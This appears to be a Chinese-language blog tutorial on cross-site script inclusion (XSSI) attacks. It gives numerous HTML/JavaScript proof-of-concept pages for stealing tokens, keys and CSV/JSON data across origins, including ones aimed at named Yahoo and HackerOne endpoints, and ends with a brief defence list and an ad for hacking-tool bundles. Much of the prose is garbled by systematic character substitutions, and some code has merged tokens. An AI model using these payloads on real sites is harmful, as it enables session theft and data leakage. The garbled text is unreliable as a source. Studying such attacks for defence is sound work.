共计 10394 个字符,预计需要花费 26 分钟才能阅读完成。
一.XSSI 破绽原理
同源策略
同源策略是 Web 应用程序平安模型中最根本也是最外围的策略。
当初所有反对 JavaScript 的浏览器都会应用这个策略。
所谓同源是指,域名,协定,端口雷同。
同源策略规定, 不同源的客户端脚本 (javascript、ActionScript) 在没明确受权的状况下,不能读写对方的资源。
此策略可避免一个页面上的歹意脚本通过该页面的 Document Object Model 拜访另一网页上的敏感数据。
为了满足同源策略,浏览器对不同拜访行为进行了限度,限度规定个别如下:
XSSI 原理
XSSI 破绽全称为跨站脚本蕴含破绽,攻击者通过应用 <script> 标签(所有带 src 或 href 属性的标签以及局部其余标签能够跨域)跨域蕴含特定文件 / 页面
能够窃取合乎 JavaScript 格局的文件中的敏感信息。
攻击者会将可泄露用户信息的 JavaScript 文件蕴含进来。
这里获取的指标数据,即敏感信息,大抵分为几类:
认证凭据
CSRF token
用户个人信息等
XSSI、XSS、CSRF 的区别
XSS 攻打是指攻击者在网站上注入歹意的客户端代码,通过歹意脚本对客户端网页进行篡改,从而在用户浏览网页时,对用户浏览器进行管制或者获取用户隐衷数据的一种攻击方式。
攻击者对客户端网页注入的歹意脚本个别包含 JavaScript,有时也会蕴含 HTML 和 Flash。
有很多种形式进行 XSS 攻打,但它们的共同点为:将一些隐衷数据像 cookie、session 发送给攻击者,将受害者重定向到一个由攻击者管制的网站,在受害者的机器上进行一些歹意操作
CSRF(跨站申请伪造),指假冒用户发动申请(在用户不知情的状况下), 实现一些违反用户志愿的申请(如歹意发帖,删帖,改明码,发邮件等)通常来说 CSRF 是由 XSS 实现的,所以 CSRF 时常也被称为 XSRF[用 XSS 的形式实现伪造申请]。
XSS 更偏差于代码实现(即写一段领有跨站申请性能的 JavaScript 脚本注入到一条帖子里,而后有用户拜访了这个帖子,这就算是中了 XSS 攻打了),CSRF 更偏差于一个攻打后果,只有发动了冒牌申请那么就算是 CSRF 了
而XSSI(跨站申请蕴含)是 XSS 的一种模式,即浏览器不会阻止网页加载图像和文字等资源,这些资源通常托管在其余域和服务器。
例如,如果 abc 银行有一个脚本用于读取用户的私人账户信息,攻击者能够在其本人的歹意网站蕴含这个脚本,当 abc 银行的客户拜访攻击者的网站时,攻击者就能够从 abc 银行的服务器提取用户信息。
从外表上看,XSSI 和 CSRF 看起来很类似,因为在这两种状况下,申请都是从歹意页面发送到另一个域的,并且在两种状况下,申请都是在登录用户的上下文中执行的。
要害区别在于指标。
在 CSRF 中,攻击者心愿在受害者页面内执行歹意操作,例如在网上银行应用程序中进行转帐。
在 XSSI 中,攻击者想要跨域泄露数据,以便再执行攻打。
与 jsonp 劫持的关系
jsonp 劫持等利用 js 对插入函数进行插入恶意代码,将敏感数据发送到攻击者的服务器,实际上就是对存在 jsonpjack 持守入侵的网页进行发动一次申请,让其受害者客户端执行插入的恶意代码
而 xssi 次要获取服务器为每个客户端生成的动静 js 文件中的敏感数据,达到信息定向的目标,这种信息可能包含用户的登录凭证,重大可导致任意用户账号接管。
二.XSSI 破绽利用以及 POC
XSSI 通常辨别为三种状况。
然而利用形式是类似甚至是雷同的(就像反射与存储的 XSS)。咱们能够将三种状况辨别如下:
动态 JavaScript(惯例 XSSI)
间接拜访该 js 即可获取敏感信息,但个别都是攻打认证后蕴含敏感信息的 js
假如敏感内容设定在一个全局变量中,如上面的事实例子:
var privateKey ="-----BEGIN RSA PRIVATE KEY-----
....
-----END RSA PRIVATE KEY-----",
keys =[{ name:'Key No 1', apiKey:'0c8aab23-2ab5-46c5-a0f2-e52ecf7d6ea8', privateKey: privateKey},
{name:'Key No 2', apiKey:'1e4b8312-f767-43eb-a16b-d44d3e471198', privateKey: privateKey}
];
利用 POC:
<html>
<head>
<title>Regular XSSI</title>
<scriptsrc="https://www.vulnerable-domain.tld/script.js"></script>
</head>
<body>
<script>
alert(JSON.stringify(keys[0]));
</script>
</body>
</html>
动静 JavaScript
1. 敏感信息存储在全局变量
http://vuln.com/dynamic.js
var token='secret';
利用 POC
http://attacker.com/xssi.html
<!DOCTYPE html>
<html>
<head>
<title>xssi</title>
</head>
<body>
<scriptsrc="http://vuln.com/dynamic.js"></script>
<script>alert(token);</script>
</body>
</html>
2. 敏感信息被内部函数解决,能够重写函数
http://vuln.com/dynamic1.js
(function(){
var token='secret';
doSomeThing(token);
})();
利用 POC:
http://attacker.com/xssi1.html
<!DOCTYPE html>
<html>
<head>
<title>xssi1</title>
</head>
<body>
<script>function doSomeThing(data){alert(data);}</script>
<scriptsrc="http://vuln.com/dynamic1.js"></script>
</body>
</html>
3. 利用原型链窃取敏感信息
对于非常规状况,能够思考利用原型链获取数据
http://vuln.com/dynamic2.js
(function(){
var token='secret';
var data=token.trim();})();
利用 POC:
http://attacker.com/xssi2.html
<!DOCTYPE html>
<html>
<head>
<title>xssi2</title>
</head>
<body>
<script>String.prototype.trim =function(){alert(this);}</script>
<scriptsrc="http://vuln.com/dynamic2.js"></script>
</body>
</html>
非 JavaScript
1.IE bug 导致错误信息透露(ie 9 和 ie 10)
为了避免 js 错误信息跨域透露,对于内部加载的 js 文件,当初支流的浏览器只有固定的错误信息,比方“script error”, 当是在 ie9 与 ie10,状况不肯定如此。
一般来说,在内部 js 产生语法错误的状况下,浏览器只会提供固定的错误信息,
然而当在 runtime 产生谬误的状况下,浏览器会提供具体的错误信息。
比方”foo 未定义”之类的,某些浏览器一旦容许外域 js 回复具体的错误信息,就会导致信息透露。
就是说,当某个网页的内容能被 js 辨认为 javascript 格局的话,那么就可能通过错误信息获取到指标的内容。
比方,指标网页
HTTP/1.1200 OK
Content-Type: text/csv
Content-Disposition: attachment; filename="a.csv"
Content-Length:13
1,abc,def,ghi
攻击者设置谬误显示
#!html
<SCRIPT>window.onerror =function(err){alert(err)}</SCRIPT>
<!-- load target CSV -->
<SCRIPT src="(target data's URL)"></SCRIPT>
一旦加载胜利,网页则会显示“‘abc’is undefined”
会呈现这种状况是因为浏览器将指标辨认为 javascript,那么 abc 就会被辨认为某个未定义的变量。
当为这种状况的时候,浏览器就容许页面捕获来自不同网页的错误信息。
做一个总结就是,有被利用的可能性的数据都是能够被辨认,或者通过某种形式辨认为无效 js 的数据。
不过,略微须要留神的一点,呈现该破绽的只有 ie 9 和 ie 10。
2. 通过 UTF-16 编码获取其它类型的数据 (ie 版本小于 10)
大家能够看到,下面的货色只在 csv 这种操蛋的玩意上有用,
所以咱们做了更多的钻研看看是否获取不同格局的数据,
之后咱们发现通过 UTF-16 编码能够达到咱们的指标。
其实自身是一个很简略的技巧 比方页面 a,咱们退出 charset=”UTF-16BE”
#!html
<!--set an error handler -->
<SCRIPT>window.onerror =function(err){alert(err)}</SCRIPT>
<!-- load target JSON -->
<SCRIPT src="(target data's URL)"charset="UTF-16BE"></SCRIPT>
而后 json 数据长这个逼样
HTTP/1.1200 OK
Content-Type: application/json
Content-Disposition: attachment; filename="a.json"
Content-Length:39
{"aaa":"000","bbb":"111","ccc":"222"}
当响应短少字符集标准的时候,会被 charset 属性强制转码为固定的编码,咱们用这个技巧撸掉了许多有名的浏览器,包含 ie 9。
测试这段代码之后,咱们给本人弹了个窗。
咱们能够看到一串乱码,因为,当浏览器获取指标网页的数据,之间通过了一次编码,而后到咱们的页面上通过 charset 制订的字符集进行了一次解码。
咱们能很简略的得出一个论断就是咱们能通过对乱码的再次编码来取得原有的信息
不过须要留神的就是只有当编码后的信息可能被浏览器辨认为无效的 js 标示符的时候攻打才有可能胜利,这是一个重要的条件,
对于不同的平台的编码是有所不同的,在 ie 上能够被辨认为无效 js 标示符的字符是多于其余平台的,至于其余来说 ie 的 ECMAScript 标准 跟其余浏览器总体没什么不同。
打个比方对于 ie 来说‘3q’(U+3371, ㍱) 在 unicode 编码中会被认为是 属于“Symbol, Other [So]”, 就是符号的一种。
总的来说这种模式的认定不应该产生在任何浏览器中,不过 ie 可能比拟 2b 一些。
咱们花了很多工夫钻研了什么样的组合,可能被浏览器认定为无效的 js 标示符,当字符编码为 UTF-16 的时候的数字字母组合,ie 9 将其 99.3% 认为是无效的 js 标示符,高于 chrome 和 firefox。
具体后果见下图
须要留神的一件事就是在 ie 10 或者更高的版本,可能攻打无奈见效,因为 ie 10 回绝将没有空字节活着 bom 的编码为 utf16。
3.chrome/firefox 中 Harmony proxy bug 利用
Harmony 是一个 ECMAScript 6 中的新性能,相似于 java 的反射类,其中定义了对于对象属性的查找,调配,函数调用
在咱们针对这些新个性的钻研过程中发现该性能能够用于 xssi 的攻打中
#!html
<!--set proxy handler to window.__proto__ -->
<SCRIPT>
var handler ={has:function(target, name){alert("data="+ name);returntrue},
get:function(target, name){return1}
};
window.__proto__ =newProxy({}, handler);
</SCRIPT>
<!-- load target CSV -->
<SCRIPT src="(target data's URL)"></SCRIPT>
留神其中的 window.proto 定义了一个代理对象,当拜访一个未定义的全局变量,就会登程 handler 进行解决。
而后 csv 文件长这样:
HTTP/1.1200 OK
Content-Type: text/csv
Content-Disposition: attachment; filename="a.csv"
Content-Length:13
1,abc,def,ghi
当拜访攻打页面的时候如果攻打胜利那么久会收到“data=abc”,“data=def”,“data=ghi”的弹窗,咱们在 firefox 和 chrome 都失去了验证。
4. 穷举
假如一个攻打页面通过 js 加载了上面的 csv 文件。
HTTP/1.1200 OK
Content-Type: text/csv
Content-Disposition: attachment; filename="a.csv"
Content-Length:8
1,xyz123
一旦加载咱们就会失去一个 xyz123 未定义的谬误
换句话说,如果咱们在加载内部文件之前定义了这个标示符,那么咱们就不会受到这个谬误,同时咱们也能够判断 xyz123 是存在于内部文件中的。
也就是说咱们须要一个适合的检测谬误是否产生的形式。
个别状况下浏览器是不提供具体的内部错误信息,不过依然会返回一个通用的谬误标示。
所以说穷举信息还是是存在可能性的。
总的来说咱们发现三种 穷举的形式
第一种是二元搜寻。
比方你晓得指标会是“xyz121”,“xyz122”,“xyz123”和“xyz124″中的其中一个,能够先定义前两个变量而后看有无谬误爆出,而后定义后两个,而后再放大指标。
第二种是应用 js 的 getter,像上面酱紫
#!html
<!--set getters -->
<SCRIPT>
Object.defineProperty(window,"xyz121",{get:function(){alert("value=xyz121")}});
Object.defineProperty(window,"xyz122",{get:function(){alert("value=xyz122")}});
Object.defineProperty(window,"xyz123",{get:function(){alert("value=xyz123")}});
Object.defineProperty(window,"xyz124",{get:function(){alert("value=xyz124")}});
</SCRIPT>
<!-- load target CSV -->
<SCRIPT src="(target data's URL)"></SCRIPT>
就是目标值拜访 window.**|||||| 会触发下面的规定。
第三种是应用 vbscript 来获取 json 数组
这个思路来自 Hasegawa 做的钻研,组合 vbscript 和 json 进行攻打(4]
指标页面长这个样子
HTTP/1.1200 OK
Content-Type: application/json
Content-Disposition: attachment; filename="a.json"
Content-Length:12
[1,"xyz123"]
而后再咱们的攻打界面中调用 vbscript
#!html
<SCRIPT language="vbscript">
Sub[1,"xyz121"]:MsgBox"value=xyz121":EndSub
Sub[1,"xyz122"]:MsgBox"value=xyz122":EndSub
Sub[1,"xyz123"]:MsgBox"value=xyz123":EndSub
Sub[1,"xyz124"]:MsgBox"value=xyz124":EndSub
</SCRIPT>
<!-- load target JSON asVBScript-->
<SCRIPT src="(target data's URL)"language="vbscript"></SCRIPT>
跟下面的攻打类似,都是通过穷举来获取目标值。不过 vbscript 只试用于 ie
5.csv 获取
下面获取 csv 的信息只在指标的字符串没被引号扩起来的状况下,不过同样是一些小技巧可能使咱们绕过这一限度。
让咱们假如一个 csv 长这个 b 样。
1,"___","[email protected]","03-0000-0001"
2,"foo","[email protected]","03-0000-0002"
...
98,"bar","[email protected]","03-0000-0088"
99,"___","[email protected]","03-0000-0099"
假如攻击者可能插入本人的字符串,那么只须要依据 RFC 相干 CSV (RFC 4180 (12])中的规定来增加一个双引号就能够 bypass 这个限度。
for example
1,"\"",$$$=function(){/*","[email protected]","03-0000-0001"2,"foo","[email protected]","03-0000-0002"
...
98,"bar","[email protected]","03-0000-0088"
99,"*/}//","[email protected]","03-0000-0099"
一个比拟蛋疼的问题就是如何获取多行的信息,因为多行在 js 中是守法的
下面的例子里,咱们应用 $$.toString() 获取函数远吗来达到攻打指标数据的目标。
这种攻击方式试用于所有的浏览器。
一种获取多行内容的形式能够在 chrome 和 firefox 中见效,就是 ECMAScript6 模版字符串中通过反引号来获取多行内容。
三.XSSI 破绽实例
雅虎 XSSI 破绽实现用户信息窃取
在雅虎(Yahoo)破绽众测我的项目中,通过 BurpSuite 来进行抓包剖析,发现下图的申请:
测试发现是 JSONP 服务端,在雅虎网站 API 中,.crumb 值其实就是一个随机字符串
它与用户的 session 和身份验证值相干,并且如果在该申请中,GET 参数 .crumb 值有效的话,其响应如下:
如果能以某种形式去窃取到受害者的无效.crumb 值的话,那么就能窃取到对方的具体账号信息值了。
因而,在 BurpSuite 的抓包中来查找所有蕴含无效 .crumb 值的申请,最终,发现了在某个动静的 Javascript 文件存在这样的信息
该 Javascript 文件位于
https://messenger.yahoo.com/e…。
源代码如下:
这个 XSSi 破绽原理其实是这样的,它容许攻击者绕过原始边界窃取特定类型数据,
利用了 script 标记的 src 属性来冲破同源策略(SOP),也即在 script 标记中,浏览器不会阻止网页加载图像和文字等第三方资源。
因而,为了窃取
https://messenger.yahoo.com/e…
中的无效回调 .crumb 值,而后把它搁置在链接
https://jsapi.login.yahoo.com…
中进行申请,以获取到相干用户的 session 信息,POC 代码如下:
<html>
<head>
<title>Yahoo XSSi PoC</title>
</head>
<body>
<divstyle="width:60%; margin-right:auto; margin-left:auto; margin-bottom:30px;">
<h1style="text-align: center;">Proof of Concept</h1>
<b>Dataset 1:</b>
<divid="content1"style="width:100%; border:1px solid black; padding:10px; overflow: scroll; font-family: monospace;"></div>
<br/>
<b>Dataset 2:</b>
<divid="content2"style="width:100%; border:1px solid black; padding:10px; overflow: scroll; font-family: monospace;"></div>
</div>
<script>
function processDeviceUsers(data){document.getElementById("content1").innerHTML = JSON.stringify(data);
}
window.onload =function(){var config ={};
config_data ={};
config.merge =function(data){config_data = data};
iris.initConfig(config);
document.getElementById("content2").innerHTML = JSON.stringify(config_data);
var src ="https://jsapi.login.yahoo.com/w/device_users?.crumb="+ config_data.session.logoutCrumb;
var s = document.createElement('script');
s.setAttribute('src', src);
document.body.appendChild(s);
}
</script>
<scriptsrc="https://messenger.yahoo.com/embed/app.js"></script>
<scriptsrc="https://code.jquery.com/jquery-3.3.1.min.js"></script>
</body>
</html>
成果:
hackerone 破绽:如何利用 XSSI 窃取多行字符串
因为浏览器不会阻止一个域名中的页面间接援用其余域名的资源
所以咱们能够在 script 标签中引入第三方域名的资源,而后察看其运行状况
但咱们当初还无奈读取到来自第三方域名 script 标签中的内容。
须要留神的是,蕴含 script 标签的不肯定必须是 JS 文件,文件结尾也无需标注 text/javascript,而且文件的扩展名也并非肯定要是“.js”。
hackerone 存在破绽的地址是:
https://hackerone.com/reports…
这是“导出”性能的一个局部,它容许咱们查看或下载原始报告内容。
点击之后,浏览器便会发送上图所示的 GET 申请。
这是一个 XHR 申请,并带有一个反 CSRF 令牌。
咱们能够在浏览器中看到 GET 申请所对应的残缺响应信息:
为了跨域透露报告(Report)的内容,所有的语句必须是无效的 JavaScript 语句。
以下是报告 demo:
第一行是一条标记语句(“Title”前面跟着的是用户提供的题目),标记语句是一种无效的 JavaScript 语句,前面能够跟本人的输出参数。
为了获取到多行字符串数据,这里还要用到反引号()。
接下来,在结尾的反引号中增加一条正文来作为字符串完结的标记。
当初,能够 script 标签中嵌入下面给出的 URL 地址,而后就近程提取出所须要的数据了
POC 如下:
<!DOCTYPE html>
<html>
<head>
<metacharset='utf-8'/>
<script>
//Tagged template literals
function demo(strings){alert(strings);
}
</script>
</head>
<body>
<scripttype='text/ecmascript'src='https://hackerone.com/reports/207802/export/raw?include internal_activities=false'></script>
</body>
</html>
目前只晓得两种管制 JavaScript 多行字符串的办法(串联和反引号本义)
ECMAScript 6 也引入了一种箭头函数(Arrow_Functions),它容许开发人员应用简短的字符来定义函数。
上面是一个简略的例子:
除此之外,模版字符串(Template Literals)则是一种更简略的多行字符串解决形式。
四.XSSI 破绽进攻
- X-Content-Type-Options 设置为 nosniff
- 不要将敏感数据(session,token 等)放在 javascript 文件中,也不要放在 jsonp 中
- 禁止 get
- 加 token
- 自定义 xhr/http 申请
- ①2000 多本网安必看电子书(支流和经典的书籍应该都有了)
- ②PHP 规范库材料(最全中文版)
- ③我的项目源码(四五十个乏味且经典的练手我的项目及源码)
- ④ 网络安全根底入门、Linux 运维,web 平安、浸透测试方面的视频(适宜小白学习)
- ⑤ 网络安全零碎学习路线图(辞别不入流的学习)
- ⑥ 黑客工具大全
- ⑦ 2021 网络安全 /Web 平安 / 浸透测试工程师大厂面经
【点我材料支付】